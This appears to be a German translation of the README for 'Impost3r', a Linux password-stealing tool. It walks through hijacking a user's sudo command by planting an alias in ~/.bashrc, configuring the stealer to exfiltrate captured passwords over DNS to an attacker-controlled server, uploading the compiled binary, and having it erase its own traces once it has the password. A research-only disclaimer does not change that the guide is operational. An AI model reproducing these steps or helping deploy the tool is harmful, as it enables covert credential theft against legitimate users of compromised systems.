
👻Impost3r -- Ein linux Passwortdieb

Impost3r ist ein in C geschriebenes Tool zum Stehlen verschiedener Passwörter (ssh, su, sudo) unter Linux.
Benutzer können dieses Programm verwenden, um eine Wasserloch-Attacke durchzuführen und Passwörter legitimer Benutzer zu stehlen.
Dieses Tool dient ausschließlich der Sicherheitsforschung und -lehre. Der Benutzer übernimmt die gesamte rechtliche Verantwortung und Haftung, die sich aus der Nutzung dieses Tools ergibt! Der Autor übernimmt keine rechtliche oder diesbezügliche Verantwortung!
Impost3r kann verwendet werden, um Passwörter für sudo-, su- und ssh-Dienste zu stehlen. Diese drei Dienste lassen sich grob in zwei Kategorien einteilen: sudo sowie ssh/su. Im Folgenden werden beide Fälle behandelt.
Es ist lediglich eine normale Benutzerberechtigung erforderlich, kein root. Es kann nur das Passwort des entsprechenden Benutzers gestohlen werden, nicht das anderer Benutzer.
Zunächst wird angenommen, dass der Angreifer die Kontrolle über einen Server hat, und zwar mit normalen Benutzerrechten.
Überprüfen Sie, ob im Benutzerstammverzeichnis die Datei .bash_profile vorhanden ist. Wenn .bash_profile existiert: Prüfen Sie, ob in .bash_profile aktiv .bashrc geladen wird. Wenn ja, überspringen Sie diesen Schritt und die nächsten beiden Prüfungen und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, überspringen Sie die nächsten beiden Prüfungen und ersetzen Sie im Folgenden alle Vorgänge, die .bashrc betreffen, durch Vorgänge, die .bash_profile betreffen!!! Wenn .bash_profile nicht existiert: Fahren Sie mit der nächsten Prüfung fort.
Überprüfen Sie, ob im Benutzerstammverzeichnis die Datei .bash_login vorhanden ist. Wenn .bash_login existiert: Prüfen Sie, ob in .bash_login aktiv .bashrc geladen wird. Wenn ja, überspringen Sie diesen Schritt und die nächste Prüfung und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, überspringen Sie die nächste Prüfung und ersetzen Sie im Folgenden alle Vorgänge, die .bashrc betreffen, durch Vorgänge, die .bash_login betreffen!!! Wenn .bash_login nicht existiert: Fahren Sie mit der nächsten Prüfung fort.
Überprüfen Sie, ob im Benutzerstammverzeichnis die Datei .profile vorhanden ist. Wenn .profile existiert: Prüfen Sie, ob in .profile aktiv .bashrc geladen wird (standardmäßig geladen). Wenn ja, überspringen Sie diesen Schritt und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, ersetzen Sie im Folgenden alle Vorgänge, die .bashrc betreffen, durch Vorgänge, die .profile betreffen!!! Wenn auch .profile nicht existiert, kann Impost3r grundsätzlich nicht verwendet werden. Sie können jedoch je nach Situation selbst entscheiden, ob Sie eine .bash_profile- oder .profile-Datei erstellen und darin einen ähnlichen Ladecode wie den folgenden hinzufügen, um .bashrc zu laden:
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Erstellen Sie eine Kopie der .bashrc des Benutzers: cp ~/.bashrc /tmp/ und legen Sie diese Kopie an einem vom Angreifer festgelegten Pfad ab (in diesem Beispiel im Verzeichnis /tmp/, kann vom Angreifer geändert werden).
Ändern Sie die .bashrc im Benutzerstammverzeichnis (~/.bashrc), indem Sie die folgende Anweisung in der letzten Zeile hinzufügen (wobei /tmp/.impost3r mit dem unten stehenden FILENAME übereinstimmen muss):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
Speichern Sie die Datei und führen Sie source ~/.bashrc aus.
Anschließend muss der Angreifer den Quellcode von Impost3r in /sudo/main.h ändern:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Setzt den Speicherort von Impost3r auf dem Zielserver
# define BACKUP_ORI_FILENAME ".bashrc" \\Gibt an, ob die gesicherte ursprüngliche Benutzerkonfigurationsdatei .bashrc, .bash_profile, .profile oder .bash_login ist
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Gibt den Speicherort der gesicherten ursprünglichen Benutzerkonfigurationsdatei auf dem Zielserver an
# define SAVE_OR_SEND 0 \\Legt fest, ob das Ergebnis nach erfolgreichem Diebstahl auf dem Zielrechner gespeichert oder an den vom Angreifer kontrollierten Rechner gesendet wird (Senden=0, Speichern=1, Standard ist Senden)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Beachten Sie: Wenn Sie keine Domain kaufen möchten, um die von Impost3r zurückgesendeten Nachrichten zu empfangen, und der Zielserver, auf dem Impost3r platziert wird, keine ausgehenden UDP-Verbindungen zu Port 53 Ihres DNS-Servers blockiert, verwenden Sie bitte den Standardwert für die Domain.
\\Wenn der Zielserver jedoch ausgehende DNS-Anfragen stark einschränkt, ändern Sie den Wert von YOUR_DOMAIN in die von Ihnen gekaufte Domain, z. B. „.example.com“, konfigurieren Sie den NS-Eintrag dieser Domain so, dass er auf die Adresse Ihres DNS-Servers zeigt, führen Sie auf diesem DNS-Server Fdns aus und ändern Sie die folgenden Werte REMOTE_ADDRESS in die Standard-DNS-Adresse des Zielservers, auf dem Impost3r platziert wird, sowie REMOTE_PORT in den von der Standard-DNS-Adresse des Zielservers überwachten DNS-Dienstport (in den allermeisten Fällen ist dies Port 53).
# define MAX_RESEND 30 \\Legt die maximale Anzahl von Wiederholungsversuchen fest, mit denen Impost3r nach dem Diebstahl des Passworts versucht, das Passwort an den Server des Angreifers zu senden.
# define RESEND_INTERVAL 5 \\Legt das Intervall zwischen den einzelnen Sendeversuchen fest.
# define REMOTE_ADDRESS "192.168.0.12" \\Legt die entfernte Adresse fest, an die das Passwort gesendet werden soll.
# define REMOTE_PORT 53 \\Legt den entfernten Port fest, an den das Passwort gesendet werden soll.
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Legt den Speicherort der Ergebnisdatei fest, wenn SAVE_OR_SEND auf 1 gesetzt ist.
Speichern Sie die Änderungen und führen Sie im aktuellen Verzeichnis make aus.
Im aktuellen Verzeichnis erhalten Sie die kompilierte Datei .impost3r.
Laden Sie die Datei .impost3r in den Ordner /tmp/ auf dem Zielserver hoch (nur ein Beispiel, kann selbst geändert werden, muss jedoch mit der Definition im Quellcode übereinstimmen).
Starten Sie auf Ihrem Server das DNS-Serverprogramm und warten Sie, bis ein legitimer Benutzer sudo verwendet, um das Passwort zu erhalten.
Beim Stehlen des sudo-Passworts löscht Impost3r nach erfolgreichem Diebstahl automatisch die Spuren; es ist nicht erforderlich, dass der Angreifer manuell aufräumt.
Impost3r prüft automatisch, ob das vom Benutzer eingegebene Passwort korrekt ist. Der Vorgang wird erst beendet und die Spuren werden gelöscht, wenn der Benutzer das richtige Passwort eingegeben hat.